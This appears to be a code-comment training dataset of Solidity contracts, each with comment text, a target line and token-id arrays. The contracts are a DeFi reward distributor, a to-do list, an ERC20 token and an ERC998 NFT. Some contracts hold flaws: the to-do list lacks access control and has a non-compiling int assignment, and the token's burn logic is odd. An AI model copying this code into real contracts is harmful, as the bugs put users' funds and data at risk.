-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./interfaces/IWETH.sol"; interface IRewardPool { function fundPool(uint256 reward) external; } interface IDrainController { function distribute() external; } /** * @title Receives rewards from MasterVampire via drain and redistributes */ contract DrainDistributor is Ownable { using SafeMath for uint256; IWETH immutable WETH; // Distribution // Percentages are using decimal base of 1000 ie: 10% = 100 uint256 public gasShare = 100; uint256 public devShare = 250; uint256 public uniRewardPoolShare = 400; uint256 public drcRewardPoolShare = 250; uint256 public wethThreshold = 200000000000000000 wei; address public devFund; address public uniRewardPool; address public drcRewardPool; address payable public drainController; /** * @notice Construct the contract * @param uniRewardPool_ address of the uniswap LP reward pool * @param drcRewardPool_ address of the DRC->ETH reward pool */ constructor(address weth_, address _devFund, address uniRewardPool_, address drcRewardPool_) { require((gasShare + devShare + uniRewardPoolShare + drcRewardPoolShare) == 1000, "invalid distribution"); uniRewardPool = uniRewardPool_; drcRewardPool = drcRewardPool_; WETH = IWETH(weth_); devFund = _devFund; IWETH(weth_).approve(uniRewardPool, uint256(-1)); IWETH(weth_).approve(drcRewardPool, uint256(-1)); } /** * @notice Allow depositing ether to the contract */ receive() external payable {} /** * @notice Distributes drained rewards */ function distribute() external { require(drainController != address(0), "drainctrl not set"); require(WETH.balanceOf(address(this)) >= wethThreshold, "weth balance too low"); uint256 drainWethBalance = WETH.balanceOf(address(this)); uint256 gasAmt = drainWethBalance.mul(gasShare).div(1000); uint256 devAmt = drainWethBalance.mul(devShare).div(1000); uint256 uniRewardPoolAmt = drainWethBalance.mul(uniRewardPoolShare).div(1000); uint256 drcRewardPoolAmt = drainWethBalance.mul(drcRewardPoolShare).div(1000); // Unwrap WETH and transfer ETH to DrainController to cover drain gas fees WETH.withdraw(gasAmt); drainController.transfer(gasAmt); // Treasury WETH.transfer(devFund, devAmt); // Reward pools IRewardPool(uniRewardPool).fundPool(uniRewardPoolAmt); IRewardPool(drcRewardPool).fundPool(drcRewardPoolAmt); } /** * @notice Changes the distribution percentage * Percentages are using decimal base of 1000 ie: 10% = 100 */ function changeDistribution( uint256 gasShare_, uint256 devShare_, uint256 uniRewardPoolShare_, uint256 drcRewardPoolShare_) external onlyOwner { require((gasShare_ + devShare_ + uniRewardPoolShare_ + drcRewardPoolShare_) == 1000, "invalid distribution"); gasShare = gasShare_; devShare = devShare_; uniRewardPoolShare = uniRewardPoolShare_; drcRewardPoolShare = drcRewardPoolShare_; } /** * @notice Changes the address of the dev treasury * @param devFund_ the new address */ function changeDev(address devFund_) external onlyOwner { require(devFund_ != address(0)); devFund = devFund_; } /** * @notice Changes the address of the Drain controller * @param drainController_ the new address */ function changeDrainController(address payable drainController_) external onlyOwner { require(drainController_ != address(0)); drainController = drainController_; } /** * @notice Changes the address of the uniswap LP reward pool * @param rewardPool_ the new address */ function changeUniRewardPool(address rewardPool_) external onlyOwner { require(rewardPool_ != address(0)); uniRewardPool = rewardPool_; WETH.approve(uniRewardPool, uint256(-1)); } /** * @notice Changes the address of the DRC->ETH reward pool * @param rewardPool_ the new address */ function changeDRCRewardPool(address rewardPool_) external onlyOwner { require(rewardPool_ != address(0)); drcRewardPool = rewardPool_; WETH.approve(drcRewardPool, uint256(-1)); } /** * @notice Change the WETH distribute threshold */ function setWETHThreshold(uint256 wethThreshold_) external onlyOwner { wethThreshold = wethThreshold_; } }
* @notice Distributes drained rewards/ Unwrap WETH and transfer ETH to DrainController to cover drain gas fees Treasury Reward pools
function distribute() external { require(drainController != address(0), "drainctrl not set"); require(WETH.balanceOf(address(this)) >= wethThreshold, "weth balance too low"); uint256 drainWethBalance = WETH.balanceOf(address(this)); uint256 gasAmt = drainWethBalance.mul(gasShare).div(1000); uint256 devAmt = drainWethBalance.mul(devShare).div(1000); uint256 uniRewardPoolAmt = drainWethBalance.mul(uniRewardPoolShare).div(1000); uint256 drcRewardPoolAmt = drainWethBalance.mul(drcRewardPoolShare).div(1000); WETH.withdraw(gasAmt); drainController.transfer(gasAmt); WETH.transfer(devFund, devAmt); IRewardPool(uniRewardPool).fundPool(uniRewardPoolAmt); IRewardPool(drcRewardPool).fundPool(drcRewardPoolAmt); }
1,048,753
[ 1, 1669, 1141, 302, 354, 1920, 283, 6397, 19, 1351, 4113, 678, 1584, 44, 471, 7412, 512, 2455, 358, 463, 7596, 2933, 358, 5590, 15427, 16189, 1656, 281, 399, 266, 345, 22498, 534, 359, 1060, 16000, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25722, 1435, 3903, 288, 203, 3639, 2583, 12, 72, 7596, 2933, 480, 1758, 12, 20, 3631, 315, 72, 7596, 16277, 486, 444, 8863, 203, 3639, 2583, 12, 59, 1584, 44, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1545, 341, 546, 7614, 16, 315, 91, 546, 11013, 4885, 4587, 8863, 203, 3639, 2254, 5034, 15427, 59, 546, 13937, 273, 678, 1584, 44, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2254, 5034, 16189, 31787, 273, 15427, 59, 546, 13937, 18, 16411, 12, 31604, 9535, 2934, 2892, 12, 18088, 1769, 203, 3639, 2254, 5034, 4461, 31787, 273, 15427, 59, 546, 13937, 18, 16411, 12, 5206, 9535, 2934, 2892, 12, 18088, 1769, 203, 3639, 2254, 5034, 7738, 17631, 1060, 2864, 31787, 273, 15427, 59, 546, 13937, 18, 16411, 12, 318, 77, 17631, 1060, 2864, 9535, 2934, 2892, 12, 18088, 1769, 203, 3639, 2254, 5034, 302, 1310, 17631, 1060, 2864, 31787, 273, 15427, 59, 546, 13937, 18, 16411, 12, 72, 1310, 17631, 1060, 2864, 9535, 2934, 2892, 12, 18088, 1769, 203, 203, 3639, 678, 1584, 44, 18, 1918, 9446, 12, 31604, 31787, 1769, 203, 3639, 15427, 2933, 18, 13866, 12, 31604, 31787, 1769, 203, 203, 3639, 678, 1584, 44, 18, 13866, 12, 5206, 42, 1074, 16, 4461, 31787, 1769, 203, 203, 3639, 15908, 359, 1060, 2864, 12, 318, 77, 17631, 1060, 2864, 2934, 74, 1074, 2864, 12, 318, 77, 17631, 1060, 2864, 31787, 1769, 203, 3639, 15908, 359, 1060, 2864, 12, 72, 1310, 17631, 1060, 2864, 2934, 74, 1074, 2864, 12, 72, 1310, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; // @title To-do-list with solidity contract ToDoList { // contract variables address public owner; mapping(address => string[]) tasklist; string public name; int public version; // @dev when a task is added to tasklist event Added(address _user, string _task); // @dev when a task is removed from tasklist event Removed(address _user, string _task); // @dev when a user is deleted from database event Purged(address _user); // @dev change state of task removal // @default False enum removalState { True, False } removalState deleted; constructor() { owner = msg.sender; name = "To-do-list with solidity"; version = 1.0; deleted = removalState.False; } modifier onlyOwner() { require( msg.sender == owner, "Only the owner of contract can call this function" ); _; } modifier listLength(address _user) { require( tasklist[_user].length > 0, "There are no tasks in the list" ); _; } // @dev add task for a user to the tasklist // @param _user => address of the user // @param _task => task to be added // @returns boolean value function addTask(address _user, string memory _task) public returns(bool) { uint currentLength = tasklist[_user].length; tasklist[_user].push(_task); if (currentLength + 1 == tasklist[_user].length) { emit Added(_user, _task); return true; } else { return false; } } // @dev add task for a user to the tasklist // @param _user => address of the user // @param _task => task to be removed // @returns boolean value function removeTask(address _user, string memory _task) public listLength(_user) returns(bool) { for (uint index = 0; index < tasklist[_user].length; index++) { if (keccak256(abi.encodePacked(tasklist[_user][index])) == keccak256(abi.encodePacked(_task))) { delete tasklist[_user][index]; deleted = removalState.True; emit Removed(_user, _task); } } if (deleted == removalState.True) { return true; } else { return false; } } // @dev show tasks of a user // @return an array of tasks function showTasks(address _user) public view returns(string[] memory){ return tasklist[_user]; } // @dev show number of tasks of a user // @return number of tasks function numberOfTasks(address _user) public view returns(uint) { return tasklist[_user].length; } // @dev remove user and their tasklist function purgeUser(address _user) public onlyOwner { delete tasklist[_user]; emit Purged(_user); } }
@dev remove user and their tasklist
function purgeUser(address _user) public onlyOwner { delete tasklist[_user]; emit Purged(_user); }
12,692,525
[ 1, 4479, 729, 471, 3675, 1562, 1098, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11668, 1299, 12, 2867, 389, 1355, 13, 1071, 1338, 5541, 288, 203, 203, 3639, 1430, 1562, 1098, 63, 67, 1355, 15533, 203, 3639, 3626, 14466, 2423, 24899, 1355, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42/0x64565fd180cd0480e7BE3c558D4b6a12E0284131/sources/contracts/comp_v3/UNIV3Flash.sol
require(PoolAddress.computeAddress(factory, poolKey)==0x956D3792F60Aa346d80630E5c854f84D9E53f939, "not iqual pool addr");
IUniswapV3Pool pool = IUniswapV3Pool(PoolAddress.computeAddress(factory, poolKey));
9,572,351
[ 1, 6528, 12, 2864, 1887, 18, 9200, 1887, 12, 6848, 16, 2845, 653, 13, 631, 20, 92, 29, 4313, 40, 6418, 9975, 42, 4848, 37, 69, 5026, 26, 72, 3672, 4449, 20, 41, 25, 71, 28, 6564, 74, 5193, 40, 29, 41, 8643, 74, 29, 5520, 16, 315, 902, 277, 3369, 2845, 3091, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 984, 291, 91, 438, 58, 23, 2864, 2845, 273, 467, 984, 291, 91, 438, 58, 23, 2864, 12, 2864, 1887, 18, 9200, 1887, 12, 6848, 16, 2845, 653, 10019, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.11; contract SafeMath { // Overflow protected math functions /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; require(z >= _x); //assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y); //assert(_x >= _y); return _x - _y; } /** @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; require(_x == 0 || z / _x == _y); //assert(_x == 0 || z / _x == _y); return z; } function safeDiv(uint256 _x, uint256 _y)internal pure returns (uint256){ // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return _x / _y; } function ceilDiv(uint256 _x, uint256 _y)internal pure returns (uint256){ return (_x + _y - 1) / _y; } } contract SBToken is SafeMath { mapping (address => uint256) balances; address public owner; string public name; string public symbol; uint8 public decimals = 18; // total amount of tokens uint256 public totalSupply; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; constructor() public { uint256 initialSupply = 10000000000; owner = msg.sender; totalSupply = initialSupply * 10 ** uint256(decimals); balances[owner] = totalSupply; name = "SBToken"; symbol = "SBC"; } /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success) { require(_value > 0 ); // Check send token value > 0; require(balances[msg.sender] >= _value); // Check if the sender has enough require(balances[_to] + _value > balances[_to]); // Check for overflows balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender balances[_to] = safeAdd(balances[_to], _value); // Add the same to the recipient if(_to == address(0)) { _burn(_to, _value); } emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); // Check if the sender has enough require(balances[_to] + _value >= balances[_to]); // Check for overflows require(_value <= allowed[_from][msg.sender]); // Check allowance balances[_from] = safeSub(balances[_from], _value); // Subtract from the sender balances[_to] = safeAdd(balances[_to], _value); // Add the same to the recipient allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); if(_to == address(0)) { _burn(_to, _value); } emit Transfer(_from, _to, _value); return true; } /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @param _account must be the zero address and must have at least `amount` tokens /// @param _value The amount of tokens to been burned function _burn(address _account, uint256 _value) internal { require(_account == address(0), "ERC20: burn to the zero address"); totalSupply = safeSub(totalSupply, _value); } /* This unnamed function is called whenever someone tries to send ether to it */ function () external { revert(); // Prevents accidental sending of ether } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
Subtract from the sender
balances[_from] = safeSub(balances[_from], _value);
936,846
[ 1, 27904, 628, 326, 5793, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 324, 26488, 63, 67, 2080, 65, 273, 4183, 1676, 12, 70, 26488, 63, 67, 2080, 6487, 389, 1132, 1769, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.5; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/EnumerableMap.sol"; import "../interfaces/ERC998/IERC998ERC721BottomUp.sol"; import "../interfaces/ERC998/IERC998ERC721TopDown.sol"; abstract contract ERC998ERC721BottomUp is ERC721, IERC998ERC721BottomUp, IERC998ERC721BottomUpEnumerable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.UintSet; struct TokenOwner { address tokenOwner; uint256 parentTokenId; } // return this.rootOwnerOf.selector ^ this.rootOwnerOfChild.selector ^ // this.tokenOwnerOf.selector ^ this.ownerOfChild.selector; bytes32 constant ERC998_MAGIC_VALUE = bytes32(bytes4(0xcd740db5)) << 224; bytes32 constant ADDRESS_MASK = bytes32(type(uint256).max) >> 32; bytes4 constant ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC998ERC721TOPDOWN = 0x1efdf36a; bytes4 private constant _INTERFACE_ID_ERC998ERC721BOTTOMUP = 0xa1b23002; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; // tokenId => token owner mapping(uint256 => TokenOwner) tokenIdToTokenOwner; // root token owner address => (tokenId => approved address) mapping(address => mapping(uint256 => address)) internal rootOwnerAndTokenIdToApprovedAddress; // token owner => (operator address => bool) mapping(address => mapping(address => bool)) internal tokenOwnerToOperators; // token owner address => token count mapping(address => uint256) internal tokenOwnerToTokenCount; // parent address => (parent tokenId => array of child tokenIds) mapping(address => mapping(uint256 => EnumerableSet.UintSet)) private parentToChildTokenIds; // tokenId => position in childTokens set mapping(uint256 => uint256) private tokenIdToChildTokenIdsIndex; // constructor(string memory name_, string memory symbol_) // public // ERC721(name_, symbol_) // {} function addressToBytes32(address _addr) internal pure returns (bytes32 addr) { addr = bytes32(uint256(_addr)); // this is left padded return addr; } function getSupportedInterfaces( address account, bytes4[] memory interfaceIds ) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (ERC165Checker.supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = ERC165Checker.supportsInterface( account, interfaceIds[i] ); } } return interfaceIdsSupported; } // Use Cases handled: // Case 1: Token owner is this contract and no parent tokenId. // Case 2: Token owner is this contract and token // Case 3: Token owner is top-down composable // Case 4: Token owner is an unknown contract // Case 5: Token owner is a user // Case 6: Token owner is a bottom-up composable // Case 7: Token owner is ERC721 token owned by top-down token // Case 8: Token owner is ERC721 token owned by unknown contract // Case 9: Token owner is ERC721 token owned by user /// @notice Get the root owner of tokenId. /// @param _tokenId The token to query for a root owner address /// @return rootOwner The root owner at the top of tree of tokens and ERC998 magic value. function rootOwnerOf(uint256 _tokenId) external view override returns (bytes32 rootOwner) { return _rootOwnerOf(_tokenId); } // Use Cases handled: // Case 1: Token owner is this contract and no parent tokenId. // Case 2: Token owner is this contract and token // Case 3: Token owner is top-down composable // Case 4: Token owner is an unknown contract // Case 5: Token owner is a user // Case 6: Token owner is a bottom-up composable // Case 7: Token owner is ERC721 token owned by top-down token // Case 8: Token owner is ERC721 token owned by unknown contract // Case 9: Token owner is ERC721 token owned by user /// @notice Get the root owner of tokenId. /// @param _tokenId The token to query for a root owner address /// @return rootOwner The root owner at the top of tree of tokens and ERC998 magic value. function _rootOwnerOf(uint256 _tokenId) internal view returns (bytes32 rootOwner) { bool _isERC998ERC721TopDown; bool _isERC998ERC721BottomUp; bool _isERC721; IERC998ERC721TopDown _topDownContract; IERC998ERC721BottomUp _bottomUpContract; IERC721 _ERC721Contract; // Get token ownership information // isParent: True if parentTokenId is a valid parent tokenId and false if there is no parent tokenId // if isParent is false, no parent token, just owned by the tokenOwner (address tokenOwner, uint256 parentTokenId, bool isParent) = _tokenOwnerOf(_tokenId); // check whether owned by a contract if (Address.isContract(tokenOwner)) { // true owned by a contract // which contract is it owned by // this contract or an external contract if (tokenOwner == address(this)) { // _tokenId is owned by this contract // is it owned by another token if (isParent) { // yes owned by another token in this contract // we have to check if that token is owned by anyone do { // traverse up by overwritting the tokenOwner, parentTokenId, isParent // this way we can see who owns the _tokenID's parent token ... (tokenOwner, parentTokenId, isParent) = _tokenOwnerOf( parentTokenId ); // if the tokenOwner is still this contract repeat until // we've found that the tokenOwner is an external contract or User } while (tokenOwner == address(this)); // we need to change the _tokenId we are looking at to be the parentTokenId // because we should now inspect if the parent has a parent or if it's the root _tokenId = parentTokenId; } else { // no it isn't owned by another token in this contract // just the contract itself // essentially a dead token? return (ERC998_MAGIC_VALUE | addressToBytes32(tokenOwner)); } } // we should do check 